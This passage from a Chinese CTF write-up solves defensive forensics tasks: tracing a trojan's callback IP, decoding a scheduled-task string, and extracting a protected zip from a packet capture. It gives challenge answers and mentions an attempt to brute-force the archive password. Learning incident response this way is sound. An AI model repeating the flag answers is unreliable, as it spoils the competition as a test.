这道题可以联网,可以用各种各样工具,那么我肯定怎么省事怎么来,然后用360和火绒一顿操作,结果问题出现了,他这个木马是大范围感染和传播的,360把所有被感染的文件都给我列举出来了,这让我咋找,这有点犯嘀咕了,那么多被感染的东西,一堆报毒,,,,这时候,我有点后悔用这个毒软了,这下弄的还不如手动分析,然后我继续看火绒,看进程,看见有个在公用文档里面的软件,很奇怪

看见公用文档里面有个不知道是啥的文件,用360分析一下

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图74

aa80a15806202d5ed3e26a7b5e28667

分析出来解析域名,然后应急响应靶机里面在火绒剑里面看见这个

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图76

找到ip,然后按照格式提交

192.168.116.130

最后,这个提交竟然是这个,这道题也很有误导性,人家怕你用毒软件,故意用感染性病毒,你用毒软直接出来几百个病毒,你看看你提交那个?但是你要是手动分析的话,很快能发现一个疑似病毒的,你提交,那么你对了。

那么这道题如果在极端情况下怎么做?这里极端情况是只能看cmd,没有图形化,什么软件也不能装,不连网,下面也讲个大概思路

极端情况下,先natstat看网络链接,然后tasklist看进程和软件,这两个命令配合使用基本能找到那个木马,和外联ip还有端口啥的

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图77

Winft_2

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图78

在这个计划任务里面找到描述,好像是个加密的东西,base64解密

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图79

解出来个这玩意,继续解密,这个应该是unicon解密

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图80

出结果了

Sc051

2024/11/09_16:22:42时间里面找到日志

b943c5616d25bc035a6ff9a854609e9

计算md5值并且提交

WinFT_5

这道题当时做题的时候,也很蹊跷,或者说这道题真的很意难平,怎么说呢,当时做题的时候,我明明判定flag在这里,差一步了,但是是没拿到flag,这道题题目是让从数据包中找到那个攻击者上传的压缩包,然后从里面获取flag,那么咱们直接找到压缩包下载,wireshark分析

你们注意看这下面这个截图,明显这里有个文本文件,或者说这里还有个压缩包呢,按理说只要把这个东西提取出来,能拿到flag,行,咱们提取,这种在数据包里面有文件的题应该怎么提取?目前有三种方法,比如,我们把这一块的16进制保存下来,用winhex新建文件然后写入,再改后缀,还有两个方法是用binwalk或者formost进行提取,数据包里面既然有这个文件,那么能进行提取,咱们试试用binwalk提取一下

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图82

这张图可以看出来数据包里面肯定有flag.txt还有一个压缩包

Binwalk提取命令可以直接在kali里面执行binwale -e 加文件名,

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图83

图片中第一个是binwalk提取的,第二个是formost提取的,都提取出来东西了,咱们分别看看

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图84

不对劲,有密码,我还不知道密码是啥,那我直接用密码爆破,比如ah那个工具,还用了几个在线爆破工具,所有爆破方法都试了,根本不行,完蛋,这我也没招,后面比赛完了,我又研究了一会这个题才发现有猫腻,原来我的方法思路用错了,压根不是让你爆破拿密码的。

密码有两种方法获取,第一种在刚刚那个数据包里面翻到最后面,发现有个疑似密码

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图85

注意看图片上最后那一段,有个everything.zip下面还有flag.txt再往下找 ,这一串是密码,直接输入能解开了,然后除了这种方法还有个更简单的方法,是用winrar压缩工具打开,说起来离谱,很多压缩包,出题的人用winrar压缩,咱们用其他解压工具不行,我也是无意间发现这个玩意,最开始我用360压缩和bandzip都不行,用winrar工具发现密码直接在压缩包里面

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图86

注意看压缩包和其他压缩软件打开有啥区别?有没有发现,问价多了一个,而且右边框里面有解压密码,刚刚用360压缩打开的时候根本不是这样的啊,打开只有一个东西,还没密码。

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图87

我把右边的这个输入进去,发现,还不对劲,为啥密码又错误啊???

我转念一想有没有可能,这个也不是密码,也是个密文,需要解一下

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图88

不对啊,为啥解不出来,后面我也是看别人的解析,才知道,这是因为随波逐流的编码问题,有点小问题,这个编码是base64但是随波逐流是解不出来,不知道为啥,我用网上在线解码工具试试,直接能解了 第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图89

第二届“长城杯”铁人三项赛 (防护赛)初赛最全WriteUP解析插图90

这道题,感觉,哎,是有点意难平,比赛的时候方向错了,最后没做出来,比完了不甘心,然后研究了一会,又做出来了。

© 版权声明
THE END
喜欢就亲吻一下吧
分享
评论 抢沙发
头像
评论一下幻城的文章吧
提交
头像

昵称

取消
昵称代码图片
    blank

    暂无评论内容